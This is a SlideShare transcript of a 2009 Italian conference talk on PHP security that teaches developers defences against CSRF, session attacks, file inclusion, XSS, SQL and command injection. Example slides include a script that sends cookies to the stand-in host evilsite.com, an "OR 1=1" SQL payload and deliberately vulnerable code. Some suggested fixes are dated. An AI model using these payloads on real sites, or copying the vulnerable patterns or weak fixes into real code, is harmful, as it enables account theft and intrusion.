Phpcon2009 Php e Sicurezza

1,144 views

Published on

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
1,144
On SlideShare
0
From Embeds
0
Number of Embeds
13
Actions
Shares
0
Downloads
20
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Phpcon2009 Php e Sicurezza

  1. 1. PHP e sicurezza Roma, 19 marzo 2009 Massimiliano Arione
  2. 2. Sull'autore <ul><li>Sviluppatore PHP dal 2001 </li></ul><ul><li>Esperienza pluriennale in una importante web agency, ora freelance </li></ul><ul><li>PHP5 Zend Certified Engineer </li></ul>PHP e sicurezza - Massimiliano Arione
  3. 3. La sicurezza <ul><li>Caratteristica vs. misura </li></ul><ul><li>Ricetta vs. strategie </li></ul><ul><li>Fiducia nel “sistema” vs. responsabilità </li></ul><ul><li>Fiducia nell'utente vs. sfiducia nell'utente </li></ul>PHP e sicurezza - Massimiliano Arione
  4. 4. Le due strategie fondamentali <ul><li>FILTER INPUT </li></ul><ul><li>ESCAPE OUTPUT </li></ul>PHP e sicurezza - Massimiliano Arione
  5. 5. Input: che cos'è? <ul><li>$_GET, $_POST, $_REQUEST </li></ul><ul><li>$_COOKIE, $_SESSION </li></ul><ul><li>$_SERVER </li></ul>PHP e sicurezza - Massimiliano Arione
  6. 6. Filtri basilari di una form - 1 <form method=”post”> Username: <input type=”text” name=”username” /> Password: <input type=”password” name=”password” /> Country: <select name=”country”> <option value=”IT”>Italy</option> <option value=”FR”>France</option> <option value=”DE”>Germany</option> <!-- etc... --> </select> <input type=”submit” /> </form> PHP e sicurezza - Massimiliano Arione
  7. 7. Filtri basilari di una form - 2 $clean = array(); if (ctype_alpha($_POST['username'])) { $clean['username'] = $_POST['username']; } if (ctype_alnum($_POST['password'])) { $clean['password'] = $_POST['password']; } if (in_array($_POST['country'], $countries) { $clean['country'] = $_POST['country']; } PHP e sicurezza - Massimiliano Arione
  8. 8. Cross-Site Request Forgery (CSRF) Sfrutta la fiducia dell'applicazione nell'utente <form action=”checkout” method=”get”> <input type=”text” name=”isbn” /> <input type=”text” name=”qty” /> <input type=”submit” value=”checkout” /> </form> <img src=”checkout.php?isbn=0973862149&qty=2” /> PHP e sicurezza - Massimiliano Arione
  9. 9. Protezione da CSRF $token = md5(uniqid(rand(), true)); $_SESSION['token'] = $token; <form action=”checkout” method=”get”> <!-- etc... -> <input type=”hidden” name=”token” value=”<?php echo $token ?>” /> </form> if (isset($_SESSION['token']) && isset($_GET['token']) && $_SESSION['token'] == $_GET['token']) { // etc... } PHP e sicurezza - Massimiliano Arione
  10. 10. Session fixation L'utente viene indotto a cliccare su un link con id di sessione preconfezionata: <a href=”index.php?PHPSESSID=12345”>click</a> soluzione: session_start(); if (authenticate()) { session_regenerate_id(); } PHP e sicurezza - Massimiliano Arione
  11. 11. Session hijacking L'id di sessione dell'utente viene in qualche modo indovinata Soluzione: $_SESSION['ua'] = $_SERVER['HTTP_USER_AGENT']; if ($_SESSION['ua'] != $_SERVER['HTTP_USER_AGENT']) { exit; } PHP e sicurezza - Massimiliano Arione
  12. 12. Remote code injection Un utente invia come parametro una URL esterna index.php?section=news include 'includes/' . $_GET['section'] . '.php'; Soluzione: $clean['section'] = in_array($_GET['section'], $sections) ? $_GET['section'] : 'home'; include 'includes/' . $clean['section'] . '.php'; PHP e sicurezza - Massimiliano Arione
  13. 13. URL guessing Un utente sostituisce l'id che vede nella URL con uno diverso message.php?id=42 Soluzione: $message = getMessage($clean['id']); if ($message->getUserId() != $_SESSION['user_id']) { exit; } PHP e sicurezza - Massimiliano Arione
  14. 14. Output: che cos'è? <ul><li>echo </li></ul><ul><li>Query SQL </li></ul><ul><li>Comandi shell </li></ul>PHP e sicurezza - Massimiliano Arione
  15. 15. Cross-Site Scripting (XSS) Sfrutta la fiducia dell'utente nell'applicazione <script>document.location = 'http://evilsite.com?cookies=' + document.cookie;</script> Stored o unstored Soluzione: htmlentities() PHP e sicurezza - Massimiliano Arione
  16. 16. SQL injection $sql = 'SELECT * FROM user WHERE username='' . $_POST['username'] . '' AND password='' . $_POST['password'] . '''; $_POST['username'] = '' OR 1=1 --'; Soluzioni: mysql_escape_string() PDO prepared statements: $stmt->bindParam(':username', $clean['username'];
  17. 17. Command injection $files = passthru('grep -lr ' . $_POST['str'] . ' *'); Soluzione: escapeshellcmd() escapeshellarg() PHP e sicurezza - Massimiliano Arione
  18. 18. Hosting condivisi <ul><li>safe_mode deprecato (non ci sarà più in PHP6) </li></ul><ul><li>open_basedir </li></ul><ul><li>disable_functions </li></ul><ul><li>disable_classes </li></ul>PHP e sicurezza - Massimiliano Arione
  19. 19. Tips <ul><li>display_errors in dev, log_errors in produzione </li></ul><ul><li>Test </li></ul><ul><li>MVC </li></ul>PHP e sicurezza - Massimiliano Arione
  20. 20. Domande? ? PHP e sicurezza - Massimiliano Arione

×